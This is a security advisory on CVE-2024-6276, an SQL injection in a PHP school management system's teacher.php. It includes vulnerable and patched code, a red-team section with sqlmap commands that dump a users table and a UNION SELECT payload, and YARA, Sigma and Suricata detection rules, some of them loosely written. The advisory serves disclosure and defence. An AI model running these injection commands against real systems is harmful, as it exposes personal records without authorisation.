CVE-2024-6276

Executive Summary

CVE-2024-6276 is a critical SQL injection vulnerability discovered in the lahirudanushka School Management System versions 1.0.0 and 1.0.1. The flaw resides in the teacher.php file within the Teacher Page component, where the update argument is not properly sanitized before being used in SQL queries. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or complete database compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making this a high-priority threat for any organization using this software.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, organizations should treat this as a supply chain risk if the software is integrated into a larger ecosystem or used as a dependency.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions or complex attack sequences are required.
• Privileges Required: None (PR:N) – No authentication is needed to exploit the vulnerability.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access is possible.
• Integrity Impact: High (I:H) – Data can be modified or deleted.
• Availability Impact: High (A:H) – Database availability can be compromised.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and public exploit code makes this a severe threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the teacher.php file. The update parameter is likely used in a SQL query without proper sanitization or parameterized queries. For example, the vulnerable code might look like:

$id = $_GET['update'];
$sql = "UPDATE teachers SET name='$name' WHERE id=$id";

An attacker can manipulate the update parameter to inject SQL commands. For instance, appending ' OR '1'='1 could bypass authentication or modify queries to extract data.

The attack is initiated via an HTTP GET request to teacher.php?update=[malicious_payload]. The injected SQL can be used to:

• Extract sensitive data (e.g., usernames, passwords, student records).
• Modify or delete database records.
• Potentially escalate to operating system command execution if the database user has sufficient privileges.

Vulnerable vs. Patched Code

Vulnerable Code (teacher.php):

<?php
$id = $_GET['update'];
$query = "SELECT * FROM teachers WHERE id = $id";
$result = mysqli_query($conn, $query);
?>

Patched Code (Hypothetical):

<?php
$id = intval($_GET['update']);
$stmt = $conn->prepare("SELECT * FROM teachers WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses parameterized queries (prepared statements) to ensure user input is treated as data, not executable code. Additionally, input validation (e.g., intval()) adds a layer of defense.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable instance of School Management System 1.0.0 or 1.0.1.
• A web browser or tool like curl or sqlmap.

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/school/teacher.php?update=1
2. Test for SQL injection by appending a single quote: http://target/school/teacher.php?update=1'
   • If an error is returned (e.g., MySQL syntax error), the endpoint is vulnerable.
3. Use sqlmap for automated exploitation:

   sqlmap -u "http://target/school/teacher.php?update=1" --batch --dbs
   

4. Extract data:

   sqlmap -u "http://target/school/teacher.php?update=1" --batch -D school_db --tables
   sqlmap -u "http://target/school/teacher.php?update=1" --batch -D school_db -T users --dump
   

Manual Payload Example:

http://target/school/teacher.php?update=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious GET requests to teacher.php containing SQL keywords (e.g., UNION, SELECT, OR, --).
• Use a Web Application Firewall (WAF) to block SQL injection patterns.
• Implement database activity monitoring to detect anomalous queries.

Mitigation:

• Immediately isolate the vulnerable system if possible.
• Apply input validation and parameterized queries as a temporary fix.
• Restrict database user privileges to limit the impact of a successful injection.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /school/teacher.php?update= containing SQL keywords.
  • Outbound database connections from the web server to unexpected IPs.
• File IOCs:
  • Modified teacher.php file (if attacker uploads a web shell).
  • Suspicious files in the web root (e.g., cmd.php, shell.php).
• Log IOCs:
  • Web server logs showing repeated SQL error messages.
  • Database logs showing unauthorized queries.

Detection Engineering

YARA Rule

rule CVE_2024_6276_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting teacher.php in School Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6276"
    strings:
        $s1 = "teacher.php?update=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "--" nocase
    condition:
        $s1 and (any of ($s2, $s3, $s4, $s5))
}

Sigma Rule

title: CVE-2024-6276 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against teacher.php in School Management System
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'teacher.php?update='
        cs-uri-query|contains|any:
            - 'UNION'
            - 'SELECT'
            - 'OR'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of these keywords in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6276 SQL Injection Attempt"; flow:to_server; content:"teacher.php?update="; http_uri; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; content:"OR"; http_uri; nocase; content:"--"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the System: Disconnect the vulnerable system from the network to prevent exploitation.
2. Apply Virtual Patching: Use a WAF to block SQL injection patterns targeting teacher.php.
3. Manual Code Fix: Replace all dynamic SQL queries in teacher.php with parameterized statements (as shown in the patched code example).

Long-Term Actions: 4. Vendor Update: Monitor the vendor's website for an official patch. If none is released, consider migrating to a different, actively maintained school management system. 5. Security Audit: Conduct a full security audit of the application to identify other potential vulnerabilities. 6. User Training: Educate developers on secure coding practices, especially regarding SQL injection prevention.

Workaround:

• If patching is not possible, restrict access to teacher.php using IP whitelisting or .htaccess authentication.

Valters IT